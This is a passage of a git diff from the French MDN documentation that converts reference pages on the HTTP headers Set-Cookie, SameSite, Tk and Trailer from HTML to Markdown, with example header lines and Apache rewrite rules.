- -

Un cookie pour un domaine qui n'inclut pas le serveur qui le définit doit être rejeté par l'agent utilisateur.

- -

Le cookie suivant sera rejeté si le serveur est hébergé sur originalcompany.com:

- -
Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk
- -

Un cookie pour un sous-domaine du domaine servi sera rejeté.

- -

Le cookie suivant sera rejeté si le serveur est hébergé sur example.com:

- -
Set-Cookie: sessionId=e8bb43229de9; Domain=foo.example.com
- - - -

Les cookies préfixés par __Secure- ou __Host- peuvent être utilisés seulement s'ils sont définis avec l'attribut secure depuis une origine sécurisée (HTTPS).

- -

De plus, les cookies avec le préfixe __Host- doivent avoir un path qui vaut / (donc tous les chemins de l'hôte) et ne doivent pas avoir d'attribut Domain.

- -
-

Attention : Pour les clients qui n'implémentent pas les préfixes de cookies, vous ne pouvez pas compter sur ces contraintes, les cookies avec un préfixe seront toujours acceptés.

-
- -
// Les deux sont acceptés s'ils viennent d'une origine sécurisée (HTTPS)
-Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
-Set-Cookie: __Host-ID=123; Secure; Path=/
-
-// Rejeté car l'attribut Secure est manquant
-Set-Cookie: __Secure-id=1
-
-// Rejeté car l'attribut Path=/ est manquant
-Set-Cookie: __Host-id=1; Secure
-
-// Rejeté à cause du domaine qui est spécifié
-Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
- -

Spécifications

- - - - - - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("6265", "Set-Cookie", "4.1")}}HTTP State Management Mechanism
draft-ietf-httpbis-rfc6265bis-05Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Set-Cookie", 5)}}

- -

Note de compatibilité

- - - -

Voir aussi

- - diff --git a/files/fr/web/http/headers/set-cookie/index.md b/files/fr/web/http/headers/set-cookie/index.md new file mode 100644 index 0000000000..5208808eb7 --- /dev/null +++ b/files/fr/web/http/headers/set-cookie/index.md @@ -0,0 +1,213 @@ +--- +title: Set-Cookie +slug: Web/HTTP/Headers/Set-Cookie +tags: + - Cookies + - HTTP + - Reference + - Response + - header + - samesite +translation_of: Web/HTTP/Headers/Set-Cookie +--- +
{{HTTPSidebar}}
+ +

L'en-tête de réponse HTTP Set-Cookie est utilisé pour envoyer un cookie depuis le serveur à l'agent utilisateur afin qu'il puisse le renvoyer dans l'avenir. Pour envoyer plusieurs cookies, on enverra plusieurs en-têtes Set-Cookie dans la même réponse.

+ +
+

Attention : Les navigateurs empêchent le code JavaScript front-end d'accéder à l'en-tête Set-Cookie, comme l'exige la spécification Fetch, qui définit Set-Cookie comme un nom d'en-tête de réponse interdit qui doit être filtré de toute réponse exposée au code front-end.

+
+ +

Pour plus d'information, voir le guide sur les cookies HTTP.

+ + + + + + + + + + + + + + + + +
Type d'en-têteEn-tête de réponse
Nom d'en-tête interditNon
Nom d'en-tête de réponse interditOui
+ +

Syntaxe

+ +
Set-Cookie: <cookie-name>=<cookie-value>
+Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
+Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
+Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
+Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
+Set-Cookie: <cookie-name>=<cookie-value>; Secure
+Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
+
+Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
+Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax
+Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None
+
+// L'usage d'attributs multiples est également possible, par exemple :
+Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
+ +

Attributs

+ +
+
<cookie-name>=<cookie-value>
+

Un cookie commence par une paire nom-valeur:

+
    +
  • Le nom porté par <cookie-name> peut-être composé de n'importe quels caractères ASCII, à l'exception des caractères de contrôle, d'espace, de tabulation et des caractères de séparation suivants : ( ) < > @ , ; : \ " / [ ] ? = { }.
    • +
  • La valeur, <cookie-value>, peut éventuellement être entourée de guillemets doubles et peut être composée de n'importe quel caractère ASCII à l'exception des caractères de contrôle, des blancs, des guillemets doubles, d'une virgule, d'un point-virgule ou d'une barre oblique inversée (backslash). Encodage : de nombreuses implémentations encodent les caractères d'URL (URL-encoding) bien que ce ne soit pas nécessaire selon la RFC. Une telle transformation facilite tout de même l'utilisation de caractères autorisés.
    • +
  • Le préfixe __Secure- : les cookies commençant par __Secure- (le tiret fait partie du préfixe) doivent être définis avec le drapeau secure depuis une page sécurisée (HTTPS).
    • +
  • Le préfixe __Host- : Les cookies commençant par __Host- doivent être définis avec le drapeau secure, depuis une page sécurisée (HTTPS), ne doivent pas avoir de domaine spécifié (et donc pas envoyé à un sous-domaine) et le chemin doit être /.
    • +
+
+
Expires=<date> {{optional_inline}}
+
+

Le temps de vie maximal d'un cookie sous la forme d'une date HTTP. Voir Date pour le format requis.

+ +

Si non spécifié, le cookie devient un cookie de session. Une session finit quand le client s'arrête, les cookies de sessions sont alors supprimés à ce moment.

+ +
+

Attention : Plusieurs navigateurs ont un système de récupération de session qui enregistre les onglets et les restaure quand le navigateur redémarre. Les cookies de session seront aussi restaurés comme si le navigateur ne s'était jamais arrêté.

+
+ +

Quand une telle date de péremption est indiquée, elle est relative au client et pas au serveur.

+
+
Max-Age=<number> {{optional_inline}}
+
Le nombre de secondes avant son expiration. Une valeur nulle ou négative fera expirer immédiatement le cookie. Si Expires et Max-Age sont configurés, Max-Age sera prioritaire.
+
Domain=<domain-value> {{optional_inline}}
+

Le domaine où le cookie sera envoyé.

+
    +
  • Si omis, la valeur par défaut sera l'hôte de l'URL du document courant. Les sous-domaines ne seront pas inclus.
    • +
  • Contrairement aux anciennes spécifications, le point au début dans les noms de domaines (.example.com) est ignoré.
    • +
  • Plusieurs valeurs de domaine ne sont pas permises. Si un nom de domaine est spécifié, les sous domaines sont toujours inclus.
    • +
+
+
Path=<path-value> {{optional_inline}}
+
Un chemin qui doit exister dans l'URL de la requête ou le navigateur n'enverra pas d'en-tête Cookie correspondante par la suite. La barre oblique (/) est interprétée comme un séparateur de répertoire. Les sous-répertoires sont inclus, par exemple: pour Path=/docs les répertoires /docs, /docs/Web/ et /docs/Web/HTTP sont concernés.
+
Secure {{optional_inline}}
+

Un cookie sécurisé est envoyé uniquement si la requête est faite en https: (sauf pour localhost). Cependant des informations confidentielles ne devraient jamais être enregistrées dans un cookie classique, en effet le mécanique est non sécurisé et ne chiffre aucune information.

+
+

Note : Les sites non sécurisés (http:) ne peuvent plus définir des cookies Secure désormais (depuis Chrome 52+ et Firefox 52+). Depuis Firefox 75, cette restriction ne s'applique pas pour localhost.

+
+
+
HttpOnly {{optional_inline}}
+
Empêche JavaScript d'accéder au cookie; par exemple, au travers de la propriété Document.cookie, de l'API XMLHttpRequest ou de l'API Request. Cela protège des attaques cross-site scripting (XSS).
+
SameSite=<samesite-value> {{optional_inline}}
+

Contrôle si un cookie est envoyé avec les requêtes d'origine croisée, offrant ainsi une certaine protection contre les attaques de falsification de requêtes inter-sites (CSRF).

+
+

Note : Les normes relatives aux Cookies SameSite ont récemment changé de telle sorte que :

+ +
    +
  1. Le comportement d'envoi des cookies si SameSite n'est pas spécifié est SameSite=Lax. Auparavant, le comportement par défaut était que les cookies étaient envoyés pour toutes les requêtes.
    2. +
  2. Les cookies avec SameSite=None doivent désormais également spécifier l'attribut Secure (c'est-à-dire qu'ils nécessitent un contexte sécurisé).
    3. +
+ +

Les options ci-dessous couvrent le nouveau comportement. Voir le tableau Compatibilité des navigateurs pour des informations sur la mise en œuvre spécifique des navigateurs (lignes : « SameSite : Defaults to Lax » et « SameSite : Secure context required »).

+
+

Les options sont :

+
    +
  • Strict : le navigateur envoie le cookie uniquement pour les demandes provenant du même site (c'est-à-dire les demandes provenant du même site qui a défini le cookie). Si la demande provient d'une URL différente de l'URL actuelle, aucun cookie avec l'attribut SameSite=Strict n'est envoyé.
    • +
  • Lax : Le cookie n'est pas envoyé sur les requêtes inter-sites, telles que les appels pour charger des images ou des iframes, mais il est envoyé lorsqu'un utilisateur navigue vers le site d'origine à partir d'un site externe (par exemple, s'il suit un lien). C'est le comportement par défaut si l'attribut SameSite n'est pas spécifié.
    • +
  • None : Le navigateur envoie le cookie avec les requêtes inter-sites et les requêtes sur un même site. L'attribut Secure doit également être défini lorsque SameSite=None !
    • +
+
+
+ +

Exemples

+ + + +

Les cookies de session sont supprimés quand le client s'éteint. Les cookies sont des cookies de session s'ils n'ont pas de directive Expires ou Max-Age.

+ +
Set-Cookie: sessionId=38afes7a8
+ + + +

Au lieu d'expirer lorsque le client est fermé, les cookies permanents expirent à une date spécifique (Expires) ou après une valeur de temps (Max-Age).

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT
+ +
Set-Cookie: id=a3fWa; Max-Age=2592000
+ +

Domaines invalides

+ +

Un cookie pour un domaine qui n'inclut pas le serveur qui le définit doit être rejeté par l'agent utilisateur.

+ +

Le cookie suivant sera rejeté si le serveur est hébergé sur originalcompany.com:

+ +
Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk
+ +

Un cookie pour un sous-domaine du domaine servi sera rejeté.

+ +

Le cookie suivant sera rejeté si le serveur est hébergé sur example.com:

+ +
Set-Cookie: sessionId=e8bb43229de9; Domain=foo.example.com
+ + + +

Les cookies préfixés par __Secure- ou __Host- peuvent être utilisés seulement s'ils sont définis avec l'attribut secure depuis une origine sécurisée (HTTPS).

+ +

De plus, les cookies avec le préfixe __Host- doivent avoir un path qui vaut / (donc tous les chemins de l'hôte) et ne doivent pas avoir d'attribut Domain.

+ +
+

Attention : Pour les clients qui n'implémentent pas les préfixes de cookies, vous ne pouvez pas compter sur ces contraintes, les cookies avec un préfixe seront toujours acceptés.

+
+ +
// Les deux sont acceptés s'ils viennent d'une origine sécurisée (HTTPS)
+Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
+Set-Cookie: __Host-ID=123; Secure; Path=/
+
+// Rejeté car l'attribut Secure est manquant
+Set-Cookie: __Secure-id=1
+
+// Rejeté car l'attribut Path=/ est manquant
+Set-Cookie: __Host-id=1; Secure
+
+// Rejeté à cause du domaine qui est spécifié
+Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + +
SpécificationTitre
{{RFC("6265", "Set-Cookie", "4.1")}}HTTP State Management Mechanism
draft-ietf-httpbis-rfc6265bis-05Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Set-Cookie", 5)}}

+ +

Note de compatibilité

+ + + +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/set-cookie/samesite/index.html b/files/fr/web/http/headers/set-cookie/samesite/index.html deleted file mode 100644 index 1daba82b19..0000000000 --- a/files/fr/web/http/headers/set-cookie/samesite/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: SameSite cookies -slug: Web/HTTP/Headers/Set-Cookie/SameSite -tags: - - Cookies - - HTTP - - Reference - - samesite -translation_of: Web/HTTP/Headers/Set-Cookie/SameSite ---- -
{{HTTPSidebar}}
- -

L'attribut SameSite de l'en-tête de réponse HTTP {{HTTPHeader("Set-Cookie")}} vous permet de déclarer si vos cookies doivent être restreints au site visité, à des tiers, ou à des sous-domaines du site actuel.

- -

Valeurs

- -

L'attribut SameSite accepte trois valeurs possibles :

- -

Lax

- -

Les cookies sont transférables depuis le site actuel vers des sites de niveaux inférieurs et seront envoyés lors de requêtes GET initialisées par des sites tiers. C'est la valeur par défaut des navigateurs les plus récents.

- -

Strict

- -

Les cookies ne seront envoyés qu'avec les requêtes effectuées sur le domaine de même niveau, et ne seront pas envoyées sur les requêtes vers des sites tiers.

- -

None

- -

Les cookies seront envoyés dans tous les contextes, rendant possibles les requêtes de type cross-origin.

- -

None était la valeur par défaut des navigateurs, mais les navigateurs les plus récents optent désormais pour la valeur Lax comme valeur par défaut pour une meilleure défense contre les attaques de type cross-site request forgery ({{Glossary("CSRF")}}).

- -

None requiert l'attribut Secure dans les dernières versions des navigateurs les plus récents. Voir plus bas pour plus d'informations.

- -

Corriger les erreurs les plus communes

- -

SameSite=None requiert Secure

- -

Une alerte de ce type peut apparaître dans la console de votre navigateur :

- -
-

Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.
- Cookie “myCookie” rejected because it has the “sameSite=none” attribute but is missing the “secure” attribute.

-
- -

Cet alerte apparaît dans les cas où des cookies requièrent l'attribut SameSite=None et ne sont pas marqués Secure, étant donc refusés par le navigateur.

- -
Set-Cookie: flavor=choco; SameSite=None
- -

Pour corriger cette erreur, vous devez ajouter l'attribut Secure à vos cookies marqués avec l'attribut SameSite=None.

- -
Set-Cookie: flavor=choco; SameSite=None; Secure
- -

Un cookie Secure ne sera envoyé au serveur que par le biais de requêtes utilisant le protocole HTTPS. Il est à noter que les sites non sécurisés (http:) ne peuvent pas être marqués Secure.

- -

Les cookies sans l'attribut SameSite utilisent SameSite=Lax par défaut

- -

Les dernières versions des navigateurs récents fournissent une valeur par défaut de SameSite plus sécurisée pour vos cookies, il se peut donc que le message suivant apparaisse dans la console de votre navigateur :

- -
-

Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.
- Cookie “myCookie” has “sameSite” policy set to “lax” because it is missing a “sameSite” attribute, and “sameSite=lax” is the default value for this attribute.

-
- -

Cette alerte apparait car la stratégie de SameSite pour le cookie n'a pas été spécifiée explicitement :

- -
Set-Cookie: flavor=choco
- -

Même si vous pouvez compter sur la valeur par défaut SameSite=Lax des navigateurs récents, vous devriez tout de même spécifier la stratégie à appliquer pour ce cookie afin de communiquer clairement votre intention. Cela améliorera également l'expérience sur les autres navigateurs si ceux-ci n'utilisent pas encore la valeur par défaut Lax.

- -
Set-Cookie: flavor=choco; SameSite=Lax
- -

Exemples

- -
RewriteEngine on
-RewriteBase "/"
-RewriteCond "%{HTTP_HOST}"       "^example\.org$" [NC]
-RewriteRule "^(.*)"              "https://www.example.org/index.html" [R=301,L,QSA]
-RewriteRule "^(.*)\.ht$"         "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:01:https://www.example.org:30/:SameSite=None:Secure]
-RewriteRule "^(.*)\.htm$"        "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:02:https://www.example.org:30/:SameSite=None:Secure]
-RewriteRule "^(.*)\.html$"       "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:03:https://www.example.org:30/:SameSite=None:Secure]
-[...]
-RewriteRule "^admin/(.*)\.html$" "admin/index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:09:https://www.example.org:30/:SameSite=Strict:Secure]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("6265", "Set-Cookie", "4.1")}}HTTP State Management Mechanism
draft-ietf-httpbis-rfc6265bis-05Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Set-Cookie", 5)}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/set-cookie/samesite/index.md b/files/fr/web/http/headers/set-cookie/samesite/index.md new file mode 100644 index 0000000000..1daba82b19 --- /dev/null +++ b/files/fr/web/http/headers/set-cookie/samesite/index.md @@ -0,0 +1,117 @@ +--- +title: SameSite cookies +slug: Web/HTTP/Headers/Set-Cookie/SameSite +tags: + - Cookies + - HTTP + - Reference + - samesite +translation_of: Web/HTTP/Headers/Set-Cookie/SameSite +--- +
{{HTTPSidebar}}
+ +

L'attribut SameSite de l'en-tête de réponse HTTP {{HTTPHeader("Set-Cookie")}} vous permet de déclarer si vos cookies doivent être restreints au site visité, à des tiers, ou à des sous-domaines du site actuel.

+ +

Valeurs

+ +

L'attribut SameSite accepte trois valeurs possibles :

+ +

Lax

+ +

Les cookies sont transférables depuis le site actuel vers des sites de niveaux inférieurs et seront envoyés lors de requêtes GET initialisées par des sites tiers. C'est la valeur par défaut des navigateurs les plus récents.

+ +

Strict

+ +

Les cookies ne seront envoyés qu'avec les requêtes effectuées sur le domaine de même niveau, et ne seront pas envoyées sur les requêtes vers des sites tiers.

+ +

None

+ +

Les cookies seront envoyés dans tous les contextes, rendant possibles les requêtes de type cross-origin.

+ +

None était la valeur par défaut des navigateurs, mais les navigateurs les plus récents optent désormais pour la valeur Lax comme valeur par défaut pour une meilleure défense contre les attaques de type cross-site request forgery ({{Glossary("CSRF")}}).

+ +

None requiert l'attribut Secure dans les dernières versions des navigateurs les plus récents. Voir plus bas pour plus d'informations.

+ +

Corriger les erreurs les plus communes

+ +

SameSite=None requiert Secure

+ +

Une alerte de ce type peut apparaître dans la console de votre navigateur :

+ +
+

Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.
+ Cookie “myCookie” rejected because it has the “sameSite=none” attribute but is missing the “secure” attribute.

+
+ +

Cet alerte apparaît dans les cas où des cookies requièrent l'attribut SameSite=None et ne sont pas marqués Secure, étant donc refusés par le navigateur.

+ +
Set-Cookie: flavor=choco; SameSite=None
+ +

Pour corriger cette erreur, vous devez ajouter l'attribut Secure à vos cookies marqués avec l'attribut SameSite=None.

+ +
Set-Cookie: flavor=choco; SameSite=None; Secure
+ +

Un cookie Secure ne sera envoyé au serveur que par le biais de requêtes utilisant le protocole HTTPS. Il est à noter que les sites non sécurisés (http:) ne peuvent pas être marqués Secure.

+ +

Les cookies sans l'attribut SameSite utilisent SameSite=Lax par défaut

+ +

Les dernières versions des navigateurs récents fournissent une valeur par défaut de SameSite plus sécurisée pour vos cookies, il se peut donc que le message suivant apparaisse dans la console de votre navigateur :

+ +
+

Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.
+ Cookie “myCookie” has “sameSite” policy set to “lax” because it is missing a “sameSite” attribute, and “sameSite=lax” is the default value for this attribute.

+
+ +

Cette alerte apparait car la stratégie de SameSite pour le cookie n'a pas été spécifiée explicitement :

+ +
Set-Cookie: flavor=choco
+ +

Même si vous pouvez compter sur la valeur par défaut SameSite=Lax des navigateurs récents, vous devriez tout de même spécifier la stratégie à appliquer pour ce cookie afin de communiquer clairement votre intention. Cela améliorera également l'expérience sur les autres navigateurs si ceux-ci n'utilisent pas encore la valeur par défaut Lax.

+ +
Set-Cookie: flavor=choco; SameSite=Lax
+ +

Exemples

+ +
RewriteEngine on
+RewriteBase "/"
+RewriteCond "%{HTTP_HOST}"       "^example\.org$" [NC]
+RewriteRule "^(.*)"              "https://www.example.org/index.html" [R=301,L,QSA]
+RewriteRule "^(.*)\.ht$"         "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:01:https://www.example.org:30/:SameSite=None:Secure]
+RewriteRule "^(.*)\.htm$"        "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:02:https://www.example.org:30/:SameSite=None:Secure]
+RewriteRule "^(.*)\.html$"       "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:03:https://www.example.org:30/:SameSite=None:Secure]
+[...]
+RewriteRule "^admin/(.*)\.html$" "admin/index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:09:https://www.example.org:30/:SameSite=Strict:Secure]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + +
SpécificationTitre
{{RFC("6265", "Set-Cookie", "4.1")}}HTTP State Management Mechanism
draft-ietf-httpbis-rfc6265bis-05Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Set-Cookie", 5)}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/tk/index.html b/files/fr/web/http/headers/tk/index.html deleted file mode 100644 index 677741b57c..0000000000 --- a/files/fr/web/http/headers/tk/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Tk -slug: Web/HTTP/Headers/Tk -translation_of: Web/HTTP/Headers/Tk ---- -
{{HTTPSidebar}}
- -

L'entête de réponse Tk indique le statut de suivi (tracking) qui s'applique à la demande correspondante.

- - - - - - - - - - - - -
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
- -

Syntaxe

- -
Tk: !  (en construction)
-Tk: ?  (dynamique)
-Tk: G  (passerelle ou multiples parties)
-Tk: N  (pas de suivi)
-Tk: T  (suivi)
-Tk: C  (suivi avec consentement)
-Tk: P  (consentement potentiel)
-Tk: D  (ne tient pas compte de DNT)
-Tk: U  (mis à jour)
-
- -

Directives

- -
-
!
-
En construction. Le serveur d'origine teste actuellement sa communication de l'état du suivi.
-
?
-
Dynamique. Le serveur d'origine a besoin de plus d'informations pour déterminer l'état du suivi.
-
G
-
Passerelle ou multiples parties. Le serveur fait office de passerelle vers un échange impliquant plusieurs parties.
-
N
-
Pas de suivi.
-
T
-
Suivi.
-
C
-
Suivi avec consentement. Le serveur d'origine pense avoir reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil.
-
P
-
Consentement potentiel. Le serveur d'origine ne sait pas, en temps réel, s'il a reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil, mais promet de ne pas utiliser ou partager de données DNT:1 jusqu'à ce que ce consentement ait été déterminé. Il promet en outre de supprimer ou d'anonymiser de manière permanente dans les 48 heures toute donnée DNT:1 reçue pour laquelle ce consentement n'a pas été reçu.
-
D
-
Ne tient pas compte de DNT. Le serveur d'origine ne peut ou ne veut pas respecter une préférence de suivi reçue de l'user-agent demandeur.
-
U
-
Mis à jour. La demande a entraîné un changement potentiel du statut de suivi applicable à cet utilisateur, user-agent ou appareil.
-
- -

Exemple

- -

Un entête Tk pour une ressource qui prétend ne pas être suivie :

- -
Tk: N
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Tracking','#Tk-header-defn', 'Tk header field')}}{{Spec2("Tracking")}}Initial definition.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Tk")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/tk/index.md b/files/fr/web/http/headers/tk/index.md new file mode 100644 index 0000000000..677741b57c --- /dev/null +++ b/files/fr/web/http/headers/tk/index.md @@ -0,0 +1,91 @@ +--- +title: Tk +slug: Web/HTTP/Headers/Tk +translation_of: Web/HTTP/Headers/Tk +--- +
{{HTTPSidebar}}
+ +

L'entête de réponse Tk indique le statut de suivi (tracking) qui s'applique à la demande correspondante.

+ + + + + + + + + + + + +
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
+ +

Syntaxe

+ +
Tk: !  (en construction)
+Tk: ?  (dynamique)
+Tk: G  (passerelle ou multiples parties)
+Tk: N  (pas de suivi)
+Tk: T  (suivi)
+Tk: C  (suivi avec consentement)
+Tk: P  (consentement potentiel)
+Tk: D  (ne tient pas compte de DNT)
+Tk: U  (mis à jour)
+
+ +

Directives

+ +
+
!
+
En construction. Le serveur d'origine teste actuellement sa communication de l'état du suivi.
+
?
+
Dynamique. Le serveur d'origine a besoin de plus d'informations pour déterminer l'état du suivi.
+
G
+
Passerelle ou multiples parties. Le serveur fait office de passerelle vers un échange impliquant plusieurs parties.
+
N
+
Pas de suivi.
+
T
+
Suivi.
+
C
+
Suivi avec consentement. Le serveur d'origine pense avoir reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil.
+
P
+
Consentement potentiel. Le serveur d'origine ne sait pas, en temps réel, s'il a reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil, mais promet de ne pas utiliser ou partager de données DNT:1 jusqu'à ce que ce consentement ait été déterminé. Il promet en outre de supprimer ou d'anonymiser de manière permanente dans les 48 heures toute donnée DNT:1 reçue pour laquelle ce consentement n'a pas été reçu.
+
D
+
Ne tient pas compte de DNT. Le serveur d'origine ne peut ou ne veut pas respecter une préférence de suivi reçue de l'user-agent demandeur.
+
U
+
Mis à jour. La demande a entraîné un changement potentiel du statut de suivi applicable à cet utilisateur, user-agent ou appareil.
+
+ +

Exemple

+ +

Un entête Tk pour une ressource qui prétend ne pas être suivie :

+ +
Tk: N
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Tracking','#Tk-header-defn', 'Tk header field')}}{{Spec2("Tracking")}}Initial definition.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Tk")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/trailer/index.html b/files/fr/web/http/headers/trailer/index.html deleted file mode 100644 index d72dd82230..0000000000 --- a/files/fr/web/http/headers/trailer/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Trailer -slug: Web/HTTP/Headers/Trailer -translation_of: Web/HTTP/Headers/Trailer ---- -
{{HTTPSidebar}}
- -

L'en-tête Trailer permet à l'expéditeur d'inclure des champs supplémentaires à la fin des blocs de messages pour fournir des métadonnées supplémentaires qui peuvent être générées de manière dynamique pendant que le corps du message sera envoyé, il peut s'agir de la vérification de l'intégrité du message, une signature numérique, ou encore un statut après le traitement.

- -
-

Note : L'en-tête {{HTTPHeader("TE")}} de la requête devra être définie en tant que "trailers" pour autoriser les champs de type "trailer".

-
- - - - - - - - - - - - -
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}yes
- -

Syntaxe

- -
Trailer: header-names
- -

Directives

- -
-
header-names
-
HTTP header fields which will be present in the trailer part of chunked messages. These header fields are disallowed: -
    -
  • message framing headers (e.g., {{HTTPHeader("Transfer-Encoding")}} and {{HTTPHeader("Content-Length")}}),
    • -
  • routing headers (e.g., {{HTTPHeader("Host")}}),
    • -
  • request modifiers (e.g., controls and conditionals, like {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Max-Forwards")}}, or {{HTTPHeader("TE")}}), 
    • -
  • authentication headers (e.g., {{HTTPHeader("Authorization")}} or {{HTTPHeader("Set-Cookie")}}),
    • -
  • or {{HTTPHeader("Content-Encoding")}}, {{HTTPHeader("Content-Type")}}, {{HTTPHeader("Content-Range")}}, and Trailer itself.
    • -
-
-
- -

Exemple

- -

Encodage de transfert en bloc en utilisant les en-têtes "trailer".

- -

Dans cet exemple, l'en-tête {{HTTPHeader("Expires")}} est utilisée à la fin du bloc du message et sert en tant qu'un "trailing header".

- -
HTTP/1.1 200 OK
-Content-Type: text/plain
-Transfer-Encoding: chunked
-Trailer: Expires
-
-7\r\n
-Mozilla\r\n
-9\r\n
-Developer\r\n
-7\r\n
-Network\r\n
-0\r\n
-\r\n
-Expires: Wed, 21 Oct 2015 07:28:00 GMT
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpecificationTitle
{{RFC("7230", "Trailer", "4.4")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
{{RFC("7230", "Chunked trailer part", "4.1.2")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
- -

Compatibilités

- -

{{Compat("http/headers/trailer")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/trailer/index.md b/files/fr/web/http/headers/trailer/index.md new file mode 100644 index 0000000000..d72dd82230 --- /dev/null +++ b/files/fr/web/http/headers/trailer/index.md @@ -0,0 +1,98 @@ +--- +title: Trailer +slug: Web/HTTP/Headers/Trailer +translation_of: Web/HTTP/Headers/Trailer +--- +
{{HTTPSidebar}}
+ +

L'en-tête Trailer permet à l'expéditeur d'inclure des champs supplémentaires à la fin des blocs de messages pour fournir des métadonnées supplémentaires qui peuvent être générées de manière dynamique pendant que le corps du message sera envoyé, il peut s'agir de la vérification de l'intégrité du message, une signature numérique, ou encore un statut après le traitement.

+ +
+

Note : L'en-tête {{HTTPHeader("TE")}} de la requête devra être définie en tant que "trailers" pour autoriser les champs de type "trailer".

+
+ + + + + + + + + + + + +
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Syntaxe

+ +
Trailer: header-names
+ +

Directives

+ +
+
header-names
+
HTTP header fields which will be present in the trailer part of chunked messages. These header fields are disallowed: +
    +
  • message framing headers (e.g., {{HTTPHeader("Transfer-Encoding")}} and {{HTTPHeader("Content-Length")}}),
    • +
  • routing headers (e.g., {{HTTPHeader("Host")}}),
    • +
  • request modifiers (e.g., controls and conditionals, like {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Max-Forwards")}}, or {{HTTPHeader("TE")}}), 
    • +
  • authentication headers (e.g., {{HTTPHeader("Authorization")}} or {{HTTPHeader("Set-Cookie")}}),
    • +
  • or {{HTTPHeader("Content-Encoding")}}, {{HTTPHeader("Content-Type")}}, {{HTTPHeader("Content-Range")}}, and Trailer itself.
    • +
+
+
+ +

Exemple

+ +

Encodage de transfert en bloc en utilisant les en-têtes "trailer".

+ +

Dans cet exemple, l'en-tête {{HTTPHeader("Expires")}} est utilisée à la fin du bloc du message et sert en tant qu'un "trailing header".

+ +
HTTP/1.1 200 OK
+Content-Type: text/plain
+Transfer-Encoding: chunked
+Trailer: Expires
+
+7\r\n
+Mozilla\r\n
+9\r\n
+Developer\r\n
+7\r\n
+Network\r\n
+0\r\n
+\r\n
+Expires: Wed, 21 Oct 2015 07:28:00 GMT
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7230", "Trailer", "4.4")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
{{RFC("7230", "Chunked trailer part", "4.1.2")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Compatibilités

+ +

{{Compat("http/headers/trailer")}}

+ +

Voir aussi

